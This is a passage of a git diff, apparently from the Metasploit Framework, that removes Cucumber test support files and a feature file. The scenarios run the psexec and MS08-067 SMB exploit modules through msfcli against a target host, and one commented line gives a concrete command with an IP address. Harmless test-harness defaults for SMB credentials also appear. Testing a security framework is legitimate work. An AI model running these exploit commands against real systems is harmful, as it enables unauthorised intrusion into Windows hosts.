class for MSF Testing - -require 'cucumber' -require 'aruba/cucumber' -require_relative 'test_config' - -Before do - # Automatically find the framework path - default_path = File.join(File.expand_path(File.dirname(__FILE__)), '../../../') - - # Add more paths manually if needed. For example: - # "/Users/gary/rapid7/framework" - @dirs = [default_path] - - @aruba_timeout_seconds = 150 -end - -Before('@slow_process') do - @aruba_io_wait_seconds = 150 -end - -@After -#after automation execution methods go here - - diff --git a/test/features/support/test_config.rb b/test/features/support/test_config.rb deleted file mode 100644 index 8c1c5b9b77..0000000000 --- a/test/features/support/test_config.rb +++ /dev/null @@ -1,44 +0,0 @@ -#Test config class provides public methods or varables to use for ever test -#Includes housing data such as default web site to test, time out varaibels, etc -require 'singleton' -class TestConfig - include Singleton - - def initialize(*args) - - yml_path = File.join(File.dirname(__FILE__),'test_config.yml') - - if File.exists?(yml_path) - @yaml_options = YAML::load(File.open(yml_path)) - else - @yaml_options = {} - end - - @options = { - "rhost" => "localhost", - "smbuser" => "user", - "smbpass" => "password" - } - end - - def run_server - @options[:define_site].nil? - end - - def method_missing(method) - if @options.has_key? method.to_s - return @options[method.to_s] - else - super - end - end - -def respond_to?(method_sym, include_private = false) - if @options.include? method_s - true - else - super - end - end - -end diff --git a/test/features/windows_exploits.feature b/test/features/windows_exploits.feature deleted file mode 100644 index 5739874cd9..0000000000 --- a/test/features/windows_exploits.feature +++ /dev/null @@ -1,31 +0,0 @@ -#This feature contains scenarios that test running exploits related to microsft windows platforms - -@announce-stdout - -Feature: I want to launch Windows based exploits - So that I can hack Windows targets - So that I can prove how totally unsecured Windows can be - -Scenario: Launch Psexec against a Windows Host - When I run the "./msfcli windows/smb/psexec" exploit with standard target options - Then the output should contain "445|WORKGROUP as user" - Then the output should contain "module tree" - -Scenario: Launch PSexec in Internal Check Mode - When I run the "./msfcli windows/smb/psexec" exploit with standard target options in check mode - Then the output should contain "module tree" - Then the output should contain "This exploit does not support check." - -Scenario: Launch ms08-067 in Internal Check Mode - When I run the "./msfcli windows/smb/ms08_067_netapi" exploit with standard target options in check mode - #When I run `./msfcli windows/smb/ms08_067_netapi RHOST=10.6.0.194 C` interactively - Then the output should contain "module tree" - Then the output should not contain "Check failed:" - -Scenario: Launch ms08-067 against a windows remote host - When I run the "./msfcli windows/smb/ms08_067_netapi" exploit with standard target options - Then the output should contain "module tree" - Then the output should contain "Started reverse handler" - - -